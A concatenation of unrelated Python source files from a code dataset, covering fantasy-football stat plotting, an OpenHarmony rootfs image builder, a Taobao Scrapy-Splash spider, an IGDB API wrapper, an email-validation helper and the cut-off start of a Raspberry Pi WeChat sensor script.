sigma1\n muL = mu2\n sigmaL = sigma2\n else:\n muW = mu2\n sigmaW = sigma2\n muL = mu1\n sigmaL = sigma1\n\n\n if ((rts[0] > mu1 and rts[0] < mu2) or (rts[0] > mu2 and rts[0] < mu1)):\n x0 = rts[0]\n elif((rts[1] > mu1 and rts[1] < mu2) or (rts[1] > mu2 and rts[1] < mu1)):\n x0 = rts[1]\n\n plt.axvline(x=x0,color='r')\n\n w_error = norm.cdf(x0, muW, sigmaW)\n w_perc = 1-w_error\n l_perc = norm.cdf(x0, muL, sigmaL)\n\n print('Winner Probability: {}'.format(w_perc))\n\ndef plotPositionRanges(position):\n vmean = hs.getHistArray(position.lower())\n plt.axhspan(vmean[0], vmean[10], facecolor='g', alpha=0.25)\n plt.axhspan(vmean[10], vmean[20], facecolor='y', alpha=0.25)\n plt.axhspan(vmean[20], vmean[30], facecolor='r', alpha=0.25)\n plt.axhspan(vmean[30], 0, facecolor='k', alpha=0.25)\n\n\n\ndef braggingLists(rev = True):\n arr = []\n for w in range(1, ls.leagueSettings.Dates.current_week):\n ls.week = w\n tmp = yq.getWeeklyMatchups()\n for i in range(len(tmp)):\n if tmp[i][1] < tmp[i][3]:\n w0 = tmp[i][2]\n pts = tmp[i][3]\n tmp[i][2] = tmp[i][0]\n tmp[i][3] = tmp[i][1]\n tmp[i][0] = w0\n tmp[i][1] = pts\n diff = float(tmp[i][1]) - float(tmp[i][3])\n tmp[i].append(diff)\n tmp[i].append(w)\n arr.append(tmp[i])\n\n newArr = sorted(arr, key = itemgetter(4), reverse = rev)\n\n for k in range(10):\n w = yq.getTeamManagerInfoQuery(newArr[k][0])\n l = yq.getTeamManagerInfoQuery(newArr[k][2])\n print('#{n:<2} Week: {wk:<2} {wn:12}{wpts:>8.2f}\\t{lo:12}{lopts:>8.2f}\\t{df:.2f}'.format(\n n=k+1, wk=newArr[k][5],\n wn = w.nickname, wpts = newArr[k][1],\n lo = l.nickname, lopts = newArr[k][3],\n df = newArr[k][4]))\n\n\n\n#info = pdb.getSeasonPerformanceSQL(index_column = ls.statName[88], \\\n# match_column = ls.statName[83], match_value=teamRoster[0][0])\n#\n#\n#weeks = [d[0] for d in info]\n#stats = [d[1] for d in info]\n\n#for i in range(1,ls.week):\n# table_name = 'stats_s' + str(ls.season) + 'w' + str(i)\n# pdb.createNewRowSQL(table_name)\n\n#names = []\n#totFpts = []\n#totCV = []\n#print('{:<20} {}\\t{}\\t{}'.format('Name','Avg','SD','CV'))\n#\n#for j in range(len(teamRoster)):\n# if teamRoster[j][1] != 'DEF' and teamRoster[j][2] != 'IR':# and teamRoster[j][2] != 'BN':\n# perf = []\n# for i in range(1,ls.week):\n# arr = pdb.getWeeklyPositionPerformanceSQL(\\\n# index_column='fpts', match_column='position', match_value=teamRoster[j][1], week=i)\n# player = pdb.getWeeklyPlayerPerformanceSQL(\\\n# index_column='fpts', match_column='player_id', match_value=teamRoster[j][0], week=i)\n#\n# if player != 'null':\n# perf.append([i,player/np.max(arr)])\n#\n# pname = pdb.selectEntryFromTable(\\\n# index_column='name',match_column='player_id',match_value=teamRoster[j][0])\n# names.append(pname)\n# weeks = [d[0] for d in perf]\n# stats = [d[1] for d in perf]\n# #plt.plot(weeks,stats)\n# #plt.axis([0, 17, 0, 1])\n# #plt.title(pname)\n#\n# avg = np.mean(stats)\n# sd = np.std(stats)\n# cv = sd/avg\n#\n# plt.scatter(cv,avg,color='red')\n# plt.annotate(j+1,xy=(cv,avg),textcoords='offset points',xytext=(-10, 5),ha='right',\\\n# arrowprops = dict(arrowstyle = 'fancy'))\n# print('{:<3} {:<20} {:.3f}\\t{:.3f}\\t{:.3f}'.format(j+1,pname,avg,sd,cv))\n#\n#\n#\n#plt.axis([0,1,0,1])\n#plt.show()\n\n #priors = [15.37, 12.11, 10.18, 8.9]\n#t1 = []\n#t2 = []\n#t3 = []\n#t4 = []\n#tsp = []\n\n#for i in range(len(stats)):\n# val = stats[i]\n# if val > priors[0]:\n# t1.append([weeks[i], stats[i]])\n# if val <= priors[0] and val > priors[1]:\n# t2.append([weeks[i], stats[i]])\n# if val <= priors[1] and val > priors[2]:\n# t3.append([weeks[i], stats[i]])\n# if val <= priors[2] and val > priors[3]:\n# t4.append([weeks[i], stats[i]])\n# if val <= priors[3]:\n# tsp.append([weeks[i], stats[i]])\n#\n#\n#Pt1 = len(t1)/len(stats)\n#Pt2 = len(t2)/len(stats)\n#Pt3 = len(t3)/len(stats)\n#Pt4 = len(t4)/len(stats)\n#Ptsp = len(tsp)/len(stats)\n#\n#mu1 = np.mean([d[1] for d in t1])\n#mu2 = np.mean([d[1] for d in t2])\n#mu3 = np.mean([d[1] for d in t3])\n##mu4 = np.mean([d[1] for d in t4])\n#mutsp = np.mean([d[1] for d in tsp])\n#\n#idk = Pt1*mu1+Pt2*mu2+Pt3*mu3+Ptsp*mutsp#+Pt4*mu4\n\n\n\n\n\n# msd = 0\n# for i in range(len(stats)):\n# msd += stats[i] - np.mean(stats)\n#\n# msd /= len(stats)\n\n#\n#plt.plot(x,mlab.normpdf(x, mu, sigma))\n#plt.show()\n\n\n#fpts = []\n#fptsArr = []\n#fptsPlotArr = []\n#fptsMean = 0.0\n#fptsStdev = 0.0\n#fptsCV = 0.0\n#fptsROC = 0.0\n#fptsPDF = 0.0\n#fptsSE = 0.0 # standard error of mean\n#fptsVar = 0.0\n#confInt = 1.96 # z* of 95%\n#confLimits = 0.0\n\n\n#print('Week: Fpts Average Stdev CV ROC Margin+/-')\n#for i in range(1, int(leagueSettings.Dates.current_week)):\n# fpts.append(getPlayerStats(season, player_id, i, leagueSettings.Scoring.statInfo.value, oauthToken))\n# if fpts[i-1] != 'BYE':\n# fptsArr.append(fpts[i-1])\n# fptsMean = round(numpy.mean(fptsArr), 2)\n# fptsStdev = round(numpy.std(fptsArr), 2)\n# if i == 1:\n# fptsCV = 0.0\n# fptsROC = 0.0\n# fptsEXP = 0.0\n# else:\n# fptsCV = round(fptsStdev/fptsMean, 2)\n# fptsROC = round(fpts[i-1]/fptsMean, 2)\n# fptsSE = round(confInt*fptsStdev/numpy.sqrt(i),2)\n## fptsVar = round(fptsROC/fptsStdev,3)\n# plt.subplot(211)\n# plt.scatter(i, fpts[i-1])\n# plt.xlabel('Week')\n# plt.title(title)\n# plt.axis([0, 17, 0, 40])\n# plt.grid(True)\n#\n# plt.subplot(212)\n# plt.scatter(i, fptsVar)\n# plt.xlabel('Week')\n# plt.title('CV')\n# plt.axis([0, 17, 0, 0.6])\n# plt.grid(True)\n# print('{:<10}{:<10}{:<10}{:<10}{:<10}{:<10}{:<10}'.format(\\\n# i,fpts[i-1], fptsMean, fptsStdev, fptsCV, fptsROC, fptsSE))\n#\n#\n#\n#plt.subplots_adjust(wspace=0.8, hspace=0.8)\n#plt.show()","sub_path":"pullFromYahoo/prettyStats.py","file_name":"prettyStats.py","file_ext":"py","file_size_in_byte":8775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"253415202","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2020 Huawei Device Co., Ltd.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nimport os\nimport shutil\nimport argparse\nfrom utils import exec_command\nfrom utils import makedirs\nimport tarfile\n\n\nBUFSIZE = 8*1024\n\n\ndef cmp_file(old, new):\n old_file_st = os.stat(old)\n new_file_st = os.stat(new)\n\n if old_file_st.st_size != new_file_st.st_size:\n return False\n\n buf_size = BUFSIZE\n with open(old, 'rb') as file_old, open(new, 'rb') as file_new:\n while True:\n old_buf = file_old.read(buf_size)\n new_buf = file_new.read(buf_size)\n if old_buf != new_buf:\n return False\n if not old_buf:\n return True\n\n\ndef move_file(old_path, new_path):\n if os.path.exists(new_path):\n shutil.rmtree(new_path)\n if os.path.exists(old_path):\n shutil.copytree(old_path, new_path)\n\n\ndef is_needed_copy(file, ignore_list):\n for ignore in ignore_list:\n if file.endswith(ignore) or file.startswith(ignore):\n return False\n\n return True\n\n\ndef copy(source, target, ignore_list):\n for file in os.listdir(source):\n source_file = os.path.join(source, file)\n target_file = os.path.join(target, file)\n if os.path.exists(target_file) and \\\n cmp_file(source_file, target_file):\n continue\n if os.path.exists(target_file) and \\\n cmp_file(source_file, target_file) == False:\n os.remove(target_file)\n if is_needed_copy(file, ignore_list) and \\\n os.path.isfile(source_file):\n shutil.copy(source_file, target)\n\n\ndef mv_usr_libs(path):\n libs = [lib for lib in os.listdir(path) if lib.startswith('lib') and\n lib.endswith('.so')]\n target_path = os.path.join(path, 'libs/usr')\n if not os.path.exists(target_path):\n makedirs(target_path)\n for lib in libs:\n source_file = os.path.join(path, lib)\n target_file = os.path.join(target_path, lib)\n shutil.move(source_file, target_file)\n\n\ndef check_strip(path, strip_cmd, log):\n if strip_cmd == \"\":\n return\n strip_cmd_list = strip_cmd.split(\" \")\n for relpath, _, files in os.walk(path):\n for file in files:\n full_path = os.path.join(path, relpath, file)\n if os.path.isfile(full_path):\n cmd = strip_cmd_list + [full_path]\n exec_command(cmd, log_path=log)\n\n\ndef tee_into_userfs(output_path, userfs):\n vendor_bin_source_dir = os.path.join(output_path, 'vendor/bin')\n if not os.path.exists(vendor_bin_source_dir):\n return\n sec_storage_dir = os.path.join(userfs, 'data/sec_storage_data')\n makedirs(sec_storage_dir)\n\n sec_storage_root_dir = os.path.join(userfs, 'sec_storage')\n makedirs(sec_storage_root_dir)\n\n\ndef list_all_files(rootdir):\n _files = []\n filelist = os.listdir(rootdir)\n for i in filelist:\n path = os.path.join(rootdir, i)\n if os.path.isdir(path):\n _files.append(path)\n _files.extend(list_all_files(path))\n if os.path.isfile(path):\n _files.append(path)\n\n return _files\n\n\ndef chmod_files_mode(root_dir, dir_mode, file_mode):\n if os.path.isdir(root_dir):\n os.chmod(root_dir, dir_mode)\n filelist = list_all_files(root_dir)\n for i in filelist:\n if os.path.isdir(i):\n os.chmod(i, dir_mode)\n if os.path.isfile(i):\n os.chmod(i, file_mode)\n\n\ndef change_rootfs_filemode(path):\n # change all files filemode\n chmod_files_mode(path, 493, 365)\n # change special dirs filemode\n tmppath = os.path.join(path, \"bin\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 365)\n tmppath = os.path.join(path, \"usr\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 365)\n tmppath = os.path.join(path, \"lib\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 365)\n tmppath = os.path.join(path, \"vendor\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 292)\n tmppath = os.path.join(path, \"system\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 292)\n tmppath = os.path.join(path, \"etc\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 292)\n tmppath = os.path.join(path, \"vendor/bin\")\n if os.path.exists(tmppath):\n chmod_files_mode(tmppath, 365, 365)\n # change special files filemode\n tmppath = os.path.join(path, \"etc/init.cfg\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 256)\n tmppath = os.path.join(path, \"bin/init\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 320)\n tmppath = os.path.join(path, \"bin/shell\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 320)\n\n\ndef create_symlinks_for_dv(path):\n dst = os.path.join(path, \"usr/lib/a7_softfp_neon-vfpv4\")\n if os.path.exists(dst):\n os.remove(dst)\n os.symlink(\"./\", dst)\n dst = os.path.join(path, \"bin/shell\")\n if os.path.exists(dst):\n os.remove(dst)\n os.symlink(\"sh\", dst)\n\n\ndef change_rootfs_filemode_linux(path):\n tmppath = os.path.join(path, \"lib\")\n chmod_files_mode(tmppath, 493, 420)\n tmppath = os.path.join(path, \"lib/ld-uClibc-0.9.33.2.so\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 365)\n tmppath = os.path.join(path, \"lib/ld-2.24.so\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 365)\n tmppath = os.path.join(path, \"usr\")\n os.chmod(tmppath, 493)\n tmppath = os.path.join(path, \"usr/lib\")\n chmod_files_mode(tmppath, 493, 420)\n tmppath = os.path.join(path, \"etc/init.cfg\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 256)\n if \"dv300\" or \"taurus\" in path:\n create_symlinks_for_dv(path)\n\n\ndef change_userfs_filemode(path):\n # change all files filemode\n chmod_files_mode(path, 493, 365)\n # change special files filemode\n tmppath = os.path.join(path, \"data/cameradev.ini\")\n if os.path.exists(tmppath):\n os.chmod(tmppath, 365)\n\n\ndef remove_file_in_rootfs_linux(output_path):\n rootfs_data = os.path.join(output_path, 'rootfs/data')\n if os.path.exists(rootfs_data):\n shutil.rmtree(rootfs_data)\n\n\ndef remove_file_in_rootfs(output_path):\n rootfs_app = os.path.join(output_path, 'rootfs/app')\n rootfs_data = os.path.join(output_path, 'rootfs/data')\n if os.path.exists(rootfs_app):\n shutil.rmtree(rootfs_app)\n if os.path.exists(rootfs_data):\n shutil.rmtree(rootfs_data)\n\n\ndef make_rootfs_tar(tar_filename, source_dir):\n with tarfile.open(tar_filename, \"w\") as tar:\n tar.add(source_dir, arcname=os.path.basename(source_dir))\n\n\ndef add_mount_userfs_linux(rootfs):\n mount_userfs_path = os.path.join(rootfs, 'storage')\n if not os.path.exists(mount_userfs_path):\n os.makedirs(mount_userfs_path)\n\n\ndef gen_rootfs(mkfs, output_path, rootfs_dirs_dict, kernel, storage_type):\n mv_usr_libs(output_path)\n rootfs = os.path.join(output_path, 'rootfs')\n rootfs_tar = os.path.join(output_path, 'rootfs.tar')\n if not os.path.exists(rootfs):\n print('rootfs dir not exist in {}'.format(rootfs))\n return 0\n log = os.path.join(output_path, 'build.log')\n for path_part, value_list in rootfs_dirs_dict.items():\n source_path = os.path.join(output_path, path_part)\n target_path = os.path.join(rootfs, value_list[0])\n strip_cmd = value_list[2]\n\n if os.path.exists(source_path):\n if not os.path.exists(target_path):\n makedirs(target_path)\n ignore_list = value_list[1]\n copy(source_path, target_path, ignore_list)\n if kernel == \"liteos_a\":\n check_strip(target_path, strip_cmd, log)\n\n if kernel == \"linux\":\n remove_file_in_rootfs_linux(output_path)\n change_rootfs_filemode_linux(rootfs)\n add_mount_userfs_linux(rootfs)\n if storage_type == \"emmc\":\n cmd = [mkfs, rootfs, 'ext4']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinor\":\n cmd = [mkfs, rootfs, \"jffs2\"]\n exec_command(cmd, log_path=log)\n if kernel == \"liteos_a\":\n remove_file_in_rootfs(output_path)\n change_rootfs_filemode(rootfs)\n if storage_type == \"emmc\":\n cmd = [mkfs, rootfs, 'vfat']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinor\":\n cmd = [mkfs, rootfs, 'jffs2']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinand\":\n cmd = [mkfs, rootfs, 'yaffs2']\n exec_command(cmd, log_path=log)\n make_rootfs_tar(rootfs_tar, rootfs)\n if os.path.exists(rootfs):\n chmod_files_mode(rootfs, 511, 511)\n shutil.rmtree(rootfs)\n\n return 0\n\n\ndef make_userfs_dir(dir_path):\n if not os.path.exists(dir_path):\n makedirs(dir_path)\n if not os.path.exists(dir_path):\n print('make' + str(dir_path) + 'fail')\n return -1\n\n\ndef move_rootfs_to_userfs(output_path):\n rootfs_app = os.path.join(output_path, 'rootfs/app')\n rootfs_data = os.path.join(output_path, 'rootfs/data')\n userfs_app = os.path.join(output_path, 'userfs/app')\n userfs_data = os.path.join(output_path, 'userfs/data')\n if os.path.exists(rootfs_app):\n move_file(rootfs_app, userfs_app)\n if os.path.exists(rootfs_data):\n move_file(rootfs_data, userfs_data)\n\n\ndef gen_userfs(mkfs, output_path, userfs_dirs_dict, kernel, storage_type):\n userfs = os.path.join(output_path, 'userfs')\n userfs_etc = os.path.join(output_path, 'userfs/etc')\n if make_userfs_dir(userfs):\n return 0\n if make_userfs_dir(userfs_etc):\n return 0\n move_rootfs_to_userfs(output_path)\n log = os.path.join(output_path, 'build.log')\n tee_into_userfs(output_path, userfs)\n for path_part, value_list in userfs_dirs_dict.items():\n source_path = os.path.join(output_path, path_part)\n target_path = os.path.join(userfs, value_list[0])\n strip_cmd = value_list[2]\n if os.path.exists(source_path):\n if not os.path.exists(target_path):\n makedirs(target_path)\n ignore_list = value_list[1]\n copy(source_path, target_path, ignore_list)\n\n check_strip(target_path, strip_cmd, log)\n change_userfs_filemode(userfs)\n if kernel == \"linux\":\n if storage_type == \"emmc\":\n cmd = [mkfs, userfs, 'ext4']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinor\":\n cmd = [mkfs, userfs, \"jffs2\"]\n exec_command(cmd, log_path=log)\n if kernel == \"liteos_a\":\n if storage_type == \"emmc\":\n cmd = [mkfs, userfs, 'vfat', '52428800']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinor\":\n cmd = [mkfs, userfs, 'jffs2']\n exec_command(cmd, log_path=log)\n if storage_type == \"spinand\":\n cmd = [mkfs, userfs, 'yaffs2']\n exec_command(cmd, log_path=log)\n return 0\n\n\ndef gen_systemfs(mkfs, output_path, kernel, storage_type):\n if kernel == \"linux\":\n if storage_type == \"emmc\":\n systemfs = os.path.join(output_path, 'systemfs')\n if make_userfs_dir(systemfs):\n return -1\n systemhashfs = os.path.join(output_path, 'systemhashfs')\n if make_userfs_dir(systemhashfs):\n return -1\n log = os.path.join(output_path, 'build.log')\n cmd_mksysfs = [mkfs, systemfs, 'ext4']\n exec_command(cmd_mksysfs, log_path=log)\n dmverity = os.path.join(\n output_path,\n '../../../build/lite/make_rootfs/dmverity_linux.sh')\n cmd_veritysetup = [dmverity, output_path, 'veritysetup']\n exec_command(cmd_veritysetup, log_path=log)\n cmd_mksyshashfs = [mkfs, systemhashfs, 'ext4', '6']\n exec_command(cmd_mksyshashfs, log_path=log)\n cmd_adds82ohos = [dmverity, output_path, 'addS82ohos']\n exec_command(cmd_adds82ohos, log_path=log)\n return 0\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Generate rootfs')\n parser.add_argument('--path', help='Build output path')\n parser.add_argument('--kernel', help='OHOS kernel type')\n parser.add_argument('--storage', help='Board storage type')\n parser.add_argument('--strip_command', help='So strip command')\n parser.add_argument('--dmverity', help='OHOS security dmverity type')\n args = parser.parse_args()\n\n strip_cmd = args.strip_command\n kernel = args.kernel\n storage_type = args.storage\n dmverity_enable = args.dmverity\n\n if args.path:\n output_path = os.path.abspath(args.path)\n if kernel == \"liteos_a\":\n mkfs = os.path.join(\n output_path,\n '../../../build/lite/make_rootfs/rootfsimg_liteos.sh')\n if kernel == \"linux\":\n mkfs = os.path.join(\n output_path,\n '../../../build/lite/make_rootfs/rootfsimg_linux.sh')\n if kernel == \"liteos_m\":\n print('no need to make rootfs')\n return 0\n if not os.path.exists(mkfs):\n print('mkfs not exist in {}'.format(mkfs))\n return -1\n else:\n return -1\n\n rootfs_dirs_dict = {\n 'bin': ['bin', ['Test.bin', 'TestSuite.bin', 'query.bin', 'cve',\n 'checksum'], strip_cmd],\n 'libs': ['lib', ['.a'], strip_cmd],\n 'libs/usr': ['usr/lib', ['.a'], strip_cmd],\n 'bin/usr': ['usr/bin', [], strip_cmd],\n 'vendor/bin': ['vendor/bin', [], \"\"],\n 'vendor/lib': ['vendor/lib', [], \"\"],\n 'vendor/firmware/hi3881': ['vendor/firmware/hi3881', [], \"\"],\n 'config': ['etc', [], \"\"],\n 'system/internal': ['system/internal', [], \"\"],\n 'etc': ['etc', [], \"\"],\n 'data': ['data', [], \"\"],\n 'obj/foundation/distributedschedule/samgr_lite/config': ['etc', [], \"\"]\n }\n userfs_dirs_dict = {\n 'obj/base/security/services/app_verify/config':\n ['data/verify', [], \"\"],\n 'storage/etc': ['etc', [], \"\"],\n 'data': ['data', [], \"\"]\n }\n ret = gen_userfs(mkfs, output_path, userfs_dirs_dict, kernel, storage_type)\n if ret:\n print('gen userfs failed')\n return -1\n\n if dmverity_enable == \"true\":\n ret = gen_systemfs(mkfs, output_path, kernel, storage_type)\n if ret:\n print('gen systemfs failed')\n return -1\n\n return gen_rootfs(mkfs, output_path, rootfs_dirs_dict,\n kernel, storage_type)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"bearpi-hm_nano-oh_flower/00_src/bearpi-hm_nano_oh_fun/build/lite/gen_rootfs.py","file_name":"gen_rootfs.py","file_ext":"py","file_size_in_byte":15258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491140665","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy import Spider\nfrom urllib.parse import quote\nfrom scrapysplashtest.items import ProductItem\nfrom scrapy_splash import SplashRequest\n\n\n\n\nscript = \"\"\"\nfunction main(splash, args)\n splash.images_enabled = false\n assert(splash:go(args.url))\n assert(splash:wait(args.wait))\n js = string.format(\"document.querySelector('#mainsrp-pager div.form > input').value=%d;document.querySelector('#mainsrp-pager div.form > span.btn.J_Submit').click()\", args.page)\n splash:evaljs(js)\n assert(splash:wait(args.wait))\n return splash:html()\nend\n\"\"\"\n\nclass TaobaoSpider(scrapy.Spider):\n name = 'taobao'\n allowed_domains = ['taobao.com']\n \n base_url = 'https://s.taobao.com/search?q='\n\n def start_requests(self):\n for keyword in self.settings.get('KEYWORDS'):\n for page in range(1, self.settings.get('MAX_PAGE') + 1):\n url = self.base_url + quote(keyword)\n yield SplashRequest(url, callback=self.parse, endpoint='execute', args={'lua_source': script, 'page': page, 'wait': 7})\n\n def parse(self, response):\n products = response.css('#mainsrp-itemlist div.grid.g-clearfix div.items:nth-child(1) .item.J_MouserOnverReq')\n for product in products:\n item = ProductItem()\n item['title'] = ''.join(product.xpath('.//div[contains(@class, \"title\")]//text()').extract()).strip()\n item['location'] = product.css('div.location::text').extract_first()\n item['price'] = '¥' + str(product.css('.ctx-box.J_MouseEneterLeave.J_IconMoreNew div.price.g_price.g_price-highlight strong::text').extract_first())\n item['deal'] = product.css('div.ctx-box.J_MouseEneterLeave.J_IconMoreNew div.deal-cnt::text').extract_first()\n item['shop'] = product.css('a.shopname.J_MouseEneterLeave.J_ShopInfo > span:nth-child(2)::text').extract_first()\n yield item\n ","sub_path":"爬虫框架/Scrapy/scrapysplashtest/scrapysplashtest/spiders/taobao.py","file_name":"taobao.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409831709","text":"from igdb_authentication import get_token\nfrom igdb.wrapper import IGDBWrapper\nimport igdb_utilities\nimport json\nfrom ast import literal_eval\nimport requests\nimport random \n\nimport os\nimport sys\nimport inspect\n\nclass IGBDAPI():\n\n def __init__(self, wrapper):\n assert isinstance(wrapper, IGDBWrapper), 'wrapper must be instance of class igbd.wrapper.IGBWrapper'\n self.wrapper = wrapper\n \n def query_endpoint(self, endpoint:str, query:str):\n \n byte_array = self.wrapper.api_request(\n endpoint,\n query \n )\n try:\n return json.loads(byte_array)\n except requests.exceptions.RequestException as e:\n print('Error in request:', e)\n except Exception as e:\n evaluation_error = True\n if evaluation_error:\n print('Response format is not json/cannot be evaluated, returning as byte array')\n return byte_array\n\n def multiquery(self, endpoint:str, result_name:str, query:str):\n \n endpoint_result = f'query {endpoint} \"{result_name}\"'\n query = '' if not query else query\n multiquery = endpoint_result + ' {' + query + '};'\n multiquery_result = self.query_endpoint('multiquery', multiquery)\n \n return multiquery_result\n\n def get_game_info(self, input, name_or_id='name', approximate_match=True):\n \n assert (name_or_id == 'name') or (name_or_id == 'id'), \"Only name or id is accepted\"\n \n fields = igdb_utilities.game_fields\n \n if name_or_id == 'name':\n if not approximate_match:\n query = f'fields {fields}; where name ~ \"{input}\";'\n else:\n query = f'search \"{input}\"; fields {fields};' \n else:\n query = f'fields {igdb_utilities.game_fields}; where id = {input};'\n game_info = self.query_endpoint('games', query)\n\n return game_info\n\n def get_lucky_game_info(self, limit=1, **where_filters):\n query_appendix = []\n \n for name,value in where_filters.items():\n equality = '='\n if any(i in value for i in ['>=', '<=']):\n equality = value[:2]\n value = value[2:]\n elif any(i in value for i in ['<', '>']):\n equality = value[:1]\n value = value[1:]\n query_appendix.append(f'{name}{equality}{value}')\n if len(query_appendix) > 0:\n query_appendix = ' & '.join(query_appendix)\n else:\n query_appendix = ''\n \n try:\n game_count = self.multiquery('games/count', 'Game count', f'fields name; where {query_appendix};')[0]['count']\n offset = random.randint(0, game_count-1)\n query = f'fields {igdb_utilities.game_fields}; offset {offset}; limit {limit}; where {query_appendix};' \n game_info = self.query_endpoint('games', query)\n if len(game_info) == 0:\n raise Exception\n except Exception as e:\n print(e)\n else:\n return game_info, game_count\n\n def get_involved_companies(self, game_id):\n query = f'fields involved_companies; where id = {game_id};'\n data = self.query_endpoint('games', query)\n \n developers, publishers = {}, {}\n company_ids = ','.join([str(id) for id in data[0]['involved_companies']])\n sub_query = f'fields company.name, developer, publisher; where id = ({company_ids});'\n company_names = self.query_endpoint('involved_companies', sub_query)\n \n for sub_dict in company_names:\n if sub_dict['developer']:\n developers[sub_dict['company']['id']] = sub_dict['company']['name']\n if sub_dict['publisher']:\n publishers[sub_dict['company']['id']] = sub_dict['company']['name']\n\n return developers, publishers \n\n def get_multiplayer_modes(self, game_id):\n fields = igdb_utilities.multiplayer_fields\n field_map = igdb_utilities.multiplayer_field_map\n\n query = f'fields {fields}; where game = {game_id};'\n raw_data = self.query_endpoint('multiplayer_modes', query)\n\n multiplayer_modes = {}\n for raw in raw_data:\n temp_dict = {}\n for key,value in raw.items():\n if key == 'id' or key == 'platform' or value == False: \n continue\n elif value == True:\n temp_dict[field_map[key]] = 'Yes'\n else:\n temp_dict[field_map[key]] = value\n multiplayer_modes[raw['platform']['name']] = temp_dict\n \n return multiplayer_modes\n\n\n def get_company_info(self, input, name_or_id:str, approximate_match=True):\n \n assert (name_or_id == 'name') or (name_or_id == 'id'), \"Only name or id is accepted\"\n \n fields = igdb_utilities.company_fields\n \n if name_or_id == 'name':\n name_query = f'name ~ \"{input}\"' if not approximate_match else f'name ~ *\"{input}\"*'\n else:\n name_query = f'id = {input}'\n query = f'fields {fields}; where {name_query};'\n data = self.query_endpoint('companies', query)\n\n return data\n\n def get_image_url(self, id, endpoint='games', img_type='cover'):\n \n query = f'fields {img_type}.url; where id = {id};'\n data = self.query_endpoint(endpoint, query)\n url = 'https:' + data[0][img_type]['url']\n \n return url\n\n def get_game_video(self, id):\n query = f'fields *; where game = {id};'\n raw_data = self.query_endpoint('game_videos', query)\n \n url = ''\n for raw in raw_data:\n video_type = raw['name']\n video_id = raw['video_id']\n if 'gameplay' in video_type.lower() or 'trailer' in video_type.lower():\n url += f'https://www.youtube.com/watch?v={video_id}'\n if not requests.get(url).status_code == 200:\n url = ''\n break\n return url\n\n def get_company_games(self, company_id):\n \n company_query = f'fields name, published, developed; where id = {company_id};'\n companies = self.query_endpoint('companies', company_query)\n \n game_ids = []\n if 'developed' in companies[0].keys():\n game_ids += companies[0]['developed']*1\n if 'published' in companies[0].keys():\n game_ids += companies[0]['published']*1\n \n game_ids = set(game_ids)\n game_ids = '(' + ','.join([str(g) for g in game_ids]) + ')'\n \n game_query = f'fields name; sort rating desc; where id={game_ids} & category=0 & rating != null;'\n \n game_data = self.query_endpoint('games', game_query)\n \n games = []\n for element in game_data:\n games.append(element['name'])\n\n return games\n\n def get_all_game_modes(self):\n game_mode_list = self.query_endpoint('game_modes', 'fields name; limit 50;')\n game_mode_map = {g['name']: g['id'] for g in game_mode_list}\n return game_mode_map\n\n def get_all_platforms(self):\n platform_list = self.query_endpoint('platforms', 'fields name; limit 50; where platform_family = (1,2,3,4,5) & platform_family != null;')\n platform_map = {p['name']: p['id'] for p in platform_list}\n return platform_map\n\n def get_all_genres(self):\n genre_list = self.query_endpoint('genres', 'fields name; limit 50;')\n genre_map = {g['name']: g['id'] for g in genre_list}\n return genre_map\n\nif __name__ == '__main__':\n wrapper = IGDBWrapper(os.environ.get('TWITCH_ID'), get_token())\n print(isinstance(wrapper, IGDBWrapper))","sub_path":"igdb_api.py","file_name":"igdb_api.py","file_ext":"py","file_size_in_byte":7810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"519762028","text":"import requests\nfrom variables import rapidApiKey\n\ndef validEmail(email):\n url = \"https://email-validator8.p.rapidapi.com/api/v2.0/email\"\n payload = \"email=\" + email.replace(\"@\",\"%40\")\n \n headers = {\n 'content-type': \"application/x-www-form-urlencoded\",\n 'x-rapidapi-key': rapidApiKey,\n 'x-rapidapi-host': \"email-validator8.p.rapidapi.com\"\n }\n\n response = requests.request(\"POST\", url, data=payload, headers=headers)\n return response\n","sub_path":"Virtual Assistant/API/emailValidate.py","file_name":"emailValidate.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607568599","text":"# encoding: utf-8\nimport Adafruit_DHT\nimport time\nimport RPi.GPIO as GPIO\nimport itchat\n\n\"\"\"set itchat to login in wechat\"\"\"\nitchat.auto_login(hotReload=True)\nrooms = itchat.get_chatrooms(update=True)\nrooms = itchat.search_chatrooms(name='aaa')\nif rooms is not None:\n username = rooms[0]['UserName']\nelse:\n username = 